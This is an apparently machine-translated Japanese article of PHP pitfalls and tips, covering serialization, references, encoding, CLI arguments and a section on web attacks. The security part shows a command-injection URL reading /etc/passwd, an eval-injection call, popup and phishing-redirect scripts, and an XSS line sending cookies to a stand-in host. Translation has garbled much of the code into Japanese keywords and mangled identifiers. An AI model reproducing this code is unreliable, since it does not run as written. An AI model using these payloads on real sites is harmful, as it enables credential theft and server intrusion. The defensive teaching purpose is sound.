1. PHP の暗黙的な三項演算子 (?:) の優先順位の問題:
例 1:
$person = $who または $person = "ラルエンス";
//実際には次と同等です:
$person = emptyempty($who)? "ラルエンス" : $who;
例 2
$arr = 配列(1=>1,3=>3);
$i = 2;
$a = 'テスト' . isset($arr[$i]) : $i;
$a とは何ですか? この質問は一見簡単そうに見えますが、
$a = 'テスト2';
実際、慎重に検討して実行した結果、次のようになります: 未定義のインデックス 2..
優先順位の問題により、コネクタは三項演算子よりも高い優先順位を持っています。
最初のステップは 'test' を判断することです。 isset($arr[$i]) この文字列は常に true です:
$a = $arr[$i]; php にプロンプトが表示されます。
2. PHP 関数名とクラス名は大文字と小文字を区別しませんが、変数名は大文字と小文字を区別します。
そのため、私が作成した PHP モジュールには大文字小文字の問題が発生し、コンパイルに失敗することがよくあります。
3. 連載中の配信問題
複雑なデータ型を文字列に圧縮する
serialize() は変数とその値をテキスト形式にエンコードします
unserialize() は元の変数を復元します
$stooges = array('Moe','Larry','Curly');
$new = シリアライズ($stooges);
print_r($new);エコー "
";
print_r(unserialize($new));
結果: a:3:{i:0;s:3:"Moe";i:1;s:5:"Larry";i:2;s:5:"Curly";}
配列 ([0] => モー [1] => ラリー [2] => カーリー)
これらのシリアル化されたデータを URL に入れてページ間で渡すときは、データに対して urlencode() を呼び出して、データ内の URL メタ文字が確実に処理されるようにする必要があります。
$shopping = array('ケシの実ベーグル' => 2,'プレーンベーグル' => 1,'Lox' => 4);
marginic_quotes_gpc および magic_quotes_runtime 構成項目の設定は、unserialize() に渡されるデータに影響します。
magic_quotes_gpc オプションが有効な場合、URL、POST 変数、および Cookie で渡されたデータは、逆シリアル化の前に、stripslashes() で処理する必要があります。
$new_cart = unserialize(stripslashes($cart)); //magic_quotes_gpc がオンの場合
$new_cart = アンシリアライズ($cart);
magic_quotes_runtime が有効な場合、シリアル化されたデータは、ファイルに書き込む前に addslashes() で処理し、読み取る前にtripslashes() で処理する必要があります。
$fp = fopen('/tmp/cart','w');
fputs($fp,addslashes(serialize($a)));
fclose($fp);
//magic_quotes_runtime がオンになっている場合
$new_cat = unserialize(stripslashes(file_get_contents('/tmp/cart')));
//magic_quotes_runtime がオフの場合
$new_cat = unserialize(file_get_contents('/tmp/cart'));
magic_quotes_runtime が有効な場合、データベースから読み取られたシリアル化されたデータは、stripslashes() によって処理される必要があり、データベースに保存されたシリアル化されたデータは、適切に保存できるように addslashes() によって処理される必要があります。
mysql_query("カート(id,data)に挿入します。values(1,'".addslashes(serialize($cart))."')");
$rs = mysql_query('ID=1 のカートからデータを選択');
$ob = mysql_fetch_object($rs);
//magic_quotes_runtime がオンになっている場合
$new_cart = unserialize(stripslashes($ob->data));
//magic_quotes_runtime がオフの場合
$new_cart = unserialize($ob->data);
オブジェクトを逆シリアル化するとき、PHP は自動的に __wakeUp() メソッドを呼び出します。これにより、オブジェクトはシリアル化中に保存されなかったさまざまな状態を再確立できるようになります。例: データベース接続など。
4. 引用に関する注意事項
PHP での参照は、同じ変数の内容に異なる名前でアクセスすることを意味します。参照は C のポインターではありません (C 言語のポインターは、変数の内容とメモリに格納されているアドレスを格納します)。変数。 。 PHP では変数名と変数の内容が異なるため、同じ内容でも異なる名前が付けられることに注意してください。最も近い類似点は、Unix のファイル名とファイル自体です。変数名はディレクトリ エントリであり、変数の内容はファイル自体です。参照は、Unix ファイル システム内の緊密なリンク、または勝利へのショートカットとして考えることができます。
1) 参照の設定を解除すると、変数名と変数の内容の間のバインドが解除されるだけです。これは変数の内容が破壊されるという意味ではありません
例: $b の設定は解除されず、$a のみが設定解除されます。
$a = 1;
$b =& $a ;
設定解除 ( $a );
echo $b; //出力: 1:
unset($a) と $a=null を使用した結果は異なります。メモリのブロックに $a のマッピングが 1 つだけある場合、unset($a) は $a=null と同等になり、メモリのブロックに $a のマッピングが 2 つある場合は自動的にリサイクルされます。 $a と $b を組み合わせた場合、 unset($a) を実行すると $a=null が発生し、 $b は変更されず、 $a=null を実行すると $a=$b=null が発生します。
理由: 変数に null を代入すると、その変数に対応するメモリ ブロックの参照カウントが直接 0 に設定され、自動的にリサイクルされます。
2) PHP 参照は参照カウントとコピーオンライトを使用します
多くの人は、Php の参照が C のポインターと同じであると誤解しています。実際には、それらは異なり、大きく異なります。配列転送プロセス中に明示的に宣言する必要のない C 言語のポインターを除き、他のポイントは * を使用して定義する必要があります。ただし、PHP のアドレスへのポインター (ポインターと同様) 関数は、はい、PHP の参照は、その名前が示すように、「参照カウント、コピーオンライト」(Copy-on-Write、COW とも略されます) の原則を採用しています。書き込み時に実際にはメモリのコピーがコピーされます。
つまり、書き込み操作が発生しない限り、次のコードのように、同じアドレスを指す変数またはオブジェクトはコピーされません。
$a = 配列('a','c'...'n');
$b = $a;
プログラムがここでのみ実行される場合、 $b と $b は同じですが、C のように異なるメモリ空間を占有することはありません。代わりに、これらは同じメモリを指します。これが php と c の違いです。 $b が $a のメモリを指すように $b=&$a と記述する必要はありません。zend はすでに参照の実装を支援しており、zend はこれをいつ行うべきかを判断するのに非常に役立ちます。このように対処すべきではないとき。
後で次のコードを書き続ける場合は、関数を追加し、パラメーターを参照渡しして、配列のサイズを出力します。
function printArray(&$arr) //参照渡し
{
print(count($arr));
}
printArray($a);
上記のコードでは、参照によって $a 配列を printArray() 関数に渡します。zend エンジンは printArray() によって $a が変更される可能性があると判断し、この時点で $a データを自動的に生成します。 $b. メモリをコピーして、ストレージに再適用します。これが、前述した「参照カウント、コピーオンライト」の概念です。
直感的な理解: $a は独自の元のメモリ空間を使用し、$b は新しく開かれたメモリ空間を使用し、この空間は $a の元の ($a または $b が変更される前) コンテンツ空間の内容を使用します。これをコピーして、その後、対応する変更を加えます。
上記のコードを次のように変更すると:
function printArray($arr) //値の転送
{
print(count($arr));
}
printArray($a);
上記のコードは $a 値を printArray() に直接渡します。現時点では参照転送がないため、コピーオンライトは行われません。
引用の詳細については、PHP での引用の詳細な説明 (参照カウント、コピーオンライト) を参照してください
5. エンコーディングの問題
プログラムコードはUTF-8コードを使用していますが、strlen関数は文字数ではなく文字列のバイト数を計算しますか?
$str = "こんにちは、こんにちは";
エコー strlen($str);
結果: ANSI=9 および utf-8=11、utf-8 の中国語文字エンコーディングは 3 バイトです。文字数を取得するには、mb_strlen()を使用します。
6. PHP でパラメータを取得する 3 つの方法
方法 1 $argc $argv を使用する
if ($argc > 1){
print_r($argv);
}
コマンドラインから /usr/local/php/bin/php ./getopt.php -f 123 -g 456 を実行します
実行結果:
# /usr/local/php/bin/php ./getopt.php -f 123 -g 456
配列
(
& [0] = & gt;
[1] => -f
& [2] = & gt;
& [3] = & gt;
[4] => 456
)
方法 2: getopt function() を使用する
$オプション = "f:g:";
$opts = getopt( $options );
print_r($opts);
コマンドラインから /usr/local/php/bin/php ./getopt.php -f 123 -g 456 を実行します
実行結果:
配列
(
& [F] = & gt;
& [G] = & gt;
)
方法 3: ユーザーに入力を求め、入力パラメーターを取得します。 C言語に少し似ています
fwrite(STDOUT, "名前を入力してください: ");
$name = トリム(fgets(STDIN));
fwrite(STDOUT, "こんにちは、$name!");
コマンドラインから /usr/local/php/bin/php ./getopt.php を実行します
ランニング結果
あなたの名前を入力してください: フランシス
こんにちは、フランシス!
7. PHP 文字列は、C ポインター文字列と同様に配列として使用できます
$s = '12345';
$s[$s[0]] = 0;
エコー$s
?>
結果は10345です
8. PHP を記述する非常に効率的な方法:
参考:高効率なPHPの書き方(理由の詳しい解説)
9. PHP のセキュリティ脆弱性:
PHP Webサイトに対する攻撃手法は主に以下のとおりです。
1. コマンドインジェクション
次の 5 つの関数を PHP で使用して、外部アプリケーションまたは関数を実行できます: system、exec、passthru、shell_exec、「(shell_exec と同じ関数)」
例:
$dir = $_GET["dir"];
if (isset($dir)) {
エコー「」
;
システム("ls -al ".$dir);
エコー「」
;
}
?>
http://www.test.com/ex1.php?dir=| cat /etc/passwd を送信すると、コマンドは system("ls -al | cat /etc/passwd") になりました。覗いてみてください。
2. evalインジェクション(Evalインジェクション)
eval 関数は、入力文字列パラメーターを PHP プログラム コードとして実行します。Eval インジェクションは通常、攻撃者が入力文字列を制御できる場合に発生します。
$var = "変数";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"]
eval("$var = $arg;");
エコー "$var =".$var;
}
?>
http://www.sectop.com/ex2.php?arg=phpinfo(); を送信すると、脆弱性が発生します。
コマンドインジェクションとevalインジェクションを防ぐ方法
1) 外部コマンドを実行しないようにしてください。
2) カスタム関数または関数ライブラリを使用して、外部コマンドの関数を置き換えます。サーバーによっては、これらの関数の使用を直接禁止している場合もあります。
3) コマンドパラメータを処理するには、escapeshellarg 関数を使用します。esacpeshellarg 関数は、パラメータまたはコマンドの終わりを引き起こす文字をエスケープします。一重引用符「'」は「'」に置き換えられ、二重引用符は「"」に置き換えられます。は """ に置き換えられ、セミコロン ";" は ";" に置き換えられます
3. クライアント側のスクリプト攻撃(スクリプト挿入)
クライアントサイドスクリプト埋め込み攻撃手順
1) 攻撃者は通常のユーザーとして登録した後、Web サイトにログインします。
2) メッセージページを開き、攻撃用のJSコードを挿入します
3) 他のユーザー (管理者を含む) が Web サイトにログインし、このメッセージの内容を閲覧します
4) メッセージ内容に隠されていたjsコードが実行され、攻撃が成功しました
フォームには、ブラウザが実行できるいくつかのスクリプトが入力されます:
<script>while(1){windows.open();}</script>無限ポップアップボックスを挿入します
<script>location.href="http://www.sectop.com";</script> を挿入すると、フィッシング ページにジャンプします
悪意のある HTML タグを防ぐ最善の方法は、htmlspecailchars または htmlentities を使用して特定の文字列を HTML エンティティに変換することです。
4. クロスサイトスクリプティング (XSS)
悪意のある攻撃者は、Web ページに悪意のある HTML コードを挿入し、ユーザーがそのページを閲覧すると、Web に埋め込まれた HTML コードが実行され、悪意のあるユーザーの特別な目的が達成されます。
クロスサイト スクリプティングは、攻撃者が Web サイト ユーザーの Cookie やその他の個人データを読み取るために主に使用され、攻撃者がこのデータを取得すると、このユーザーになりすまして Web サイトにログインし、このユーザーの許可を取得することができます。
クロスサイトスクリプティング攻撃の一般的な手順:
1) 攻撃者は、コメント フォームなどの何らかの方法で xss http リンクをターゲット ユーザーに送信します。
<スクリプト>ドキュメントを挿入.location= “go.somewhere.bad?cookie=+”this.cookie
またはリンク:
http://w w w.my.site/index.php?user=
2) ターゲットユーザーはこのWebサイトにログインし、ログインプロセス中に攻撃者によって送信されたxssリンクを開きました
3) Web サイトはこの xss 攻撃スクリプトを実行しました
4) 対象ユーザーのページから攻撃者のWebサイトにジャンプし、攻撃者は対象ユーザーの情報を取得します
5) 攻撃者はターゲットユーザーの情報を使用してWebサイトにログインし、攻撃を完了します
悪意のある HTML タグを防ぐ最善の方法は、htmlspecailchars または htmlentities を使用して特定の文字列を HTML エンティティに変換することです。
5. SQLインジェクション攻撃(SQLインジェクション)
SQL インジェクションに対する最も効果的な防御策は、プリペアド ステートメントを使用することです。
準備されたステートメント (準備されたステートメントとも呼ばれます) はクエリの一種であり、プリコンパイルと準備のために最初にサーバーに送信され、後でクエリが実行されるときにパラメーターが保存されている場所が通知されます。
利点:
1) パラメータ値をエスケープします。したがって、mysqli::real_escape_string のようなものを呼び出したり、パラメータを引用符で囲んだりする必要はありません。
2) スクリプトで複数回実行すると、通常、クエリを毎回ネットワーク経由で送信するよりも、準備されたステートメントのパフォーマンスが向上します。クエリが再度実行されると、パラメータのみがデータベースに送信されるため、必要なスペースが少なくなります。 。
1) PDO (PHP データ オブジェクト) を使用します:
PHP PDO::prepare() とexecute()
$preparedStatement = $db->prepare('INSERT INTO table (column) VALUES (:column)');
$preparedStatement->execute(array(':column' => $unsafeValue));
2) mysqliを使用します:
$stmt = $dbConnection->prepare('SELECT * FROM 従業員 WHERE name = ?');
$stmt->bind_param('s', $name);
$stmt->execute();
$result = $stmt->get_result();
while ($row = $result->fetch_assoc()) {
// $row で何かをする
}
6. クロスサイトリクエストフォージェリ (CSRF)
7. セッションハイジャック
8. セッションの固定
9. HTTP レスポンスの分割
10. ファイルアップロード攻撃
11. ディレクトリトラバーサル
12. リモートファイルインクルージョン攻撃(Remote Inclusion)
13. 動的関数注入攻撃(動的変数評価)
14. URL攻撃
15. なりすましフォームの送信
16. スプーフィングされた HTTP リクエスト
いくつかの重要な php.ini オプション: register_globals、magic_quotes、safe_mode。 これらのオプションは PHP5.4 で非推奨になります。
register_globals:
php>=4.2.0、register_globals の場合、php.ini の register_globals オプションのデフォルト値はオフです。
が On に設定されている場合、プログラムはフォームによって送信された変数を含むさまざまな環境変数をサーバーから受け取ることができます。また、PHP は変数の値を事前に初期化する必要がないため、大きなセキュリティ リスクにつながります。
register_globals が無効になっていることを確認してください。 register_globals が有効な場合、$variable を使用して GET または POST 文字列を同じ名前に置き換えるなどの不注意な行為が可能になります。この設定を無効にすると、PHP は正しい名前空間の正しい変数を参照するように強制します。フォーム POST から変数を使用するには、$_POST['variable'] を引用符で囲む必要があります。こうすることで、この特定の変数を Cookie、セッション、または GET 変数と間違えることがなくなります。
セーフモード:
セーフ モードでは、PHP はドキュメントへのアクセスを制限し、環境変数へのアクセスを制限し、外部プログラムの実行を制御するために使用されます。セーフモードを有効にするには、php.iniでsafe_mode=Onを設定する必要があります
魔法の引用
PHP プログラムの入力情報を自動的にエスケープするために使用されます。すべての一重引用符 ("'")、二重引用符 (""")、バックスラッシュ ("")、およびヌル文字 (NULL) が自動的に追加されます。バックスラッシュはエスケープされます。 =On は、Magicquotes を On に設定するために使用されます。これは、HTTP リクエスト データ (GET、POST、Cookie) に影響します。プログラマは、addslashes を使用して送信された HTTP リクエスト データをエスケープしたり、stripslashes を使用してデータを削除したりすることもできます。
http://www.bkjia.com/PHPjc/477758.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/477758.html技術記事 1. PHP の暗黙的な三項演算子 (?:) の優先順位の問題: 例 1: $person = $who または $person = laruence; //実際には次と同等です: $person = emptyempty($who)? 例 2 $ arr =...